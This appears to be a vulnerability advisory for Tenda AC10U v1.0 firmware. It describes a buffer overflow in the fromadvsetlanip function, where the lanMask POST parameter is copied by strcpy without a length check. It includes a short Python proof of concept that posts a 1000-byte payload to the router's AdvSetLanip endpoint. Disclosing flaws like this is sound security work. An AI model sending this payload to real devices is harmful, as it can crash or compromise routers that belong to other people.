Overview

Affected version

AC10U v1.0 Firmware V15.03.06.48、AC10U v1.0 Firmware V15.03.06.49

Vulnerability details

The Tenda AC10U v1.0 Firmware V15.03.06.48、AC10U v1.0 Firmware V15.03.06.49 firmware has a buffer overflow vulnerability in the fromadvsetlanip function. The Var variable receives the lanIp and lanMask parameter from a POST request and is later passed to the strcpy function. However, since the Since user can control the input of lanMask, the statemeant strcpy((char *)&a4[38 * a3 + 2] + 2, a1); can cause a buffer overflow.

POC

import requests

ip = "192.168.1.1"

url = f'http://{ip}/goform/AdvSetLanip'
payload = b'a' * 1000
data = {
    'lanMask':payload
}

requests.post(url, data=data)

image.png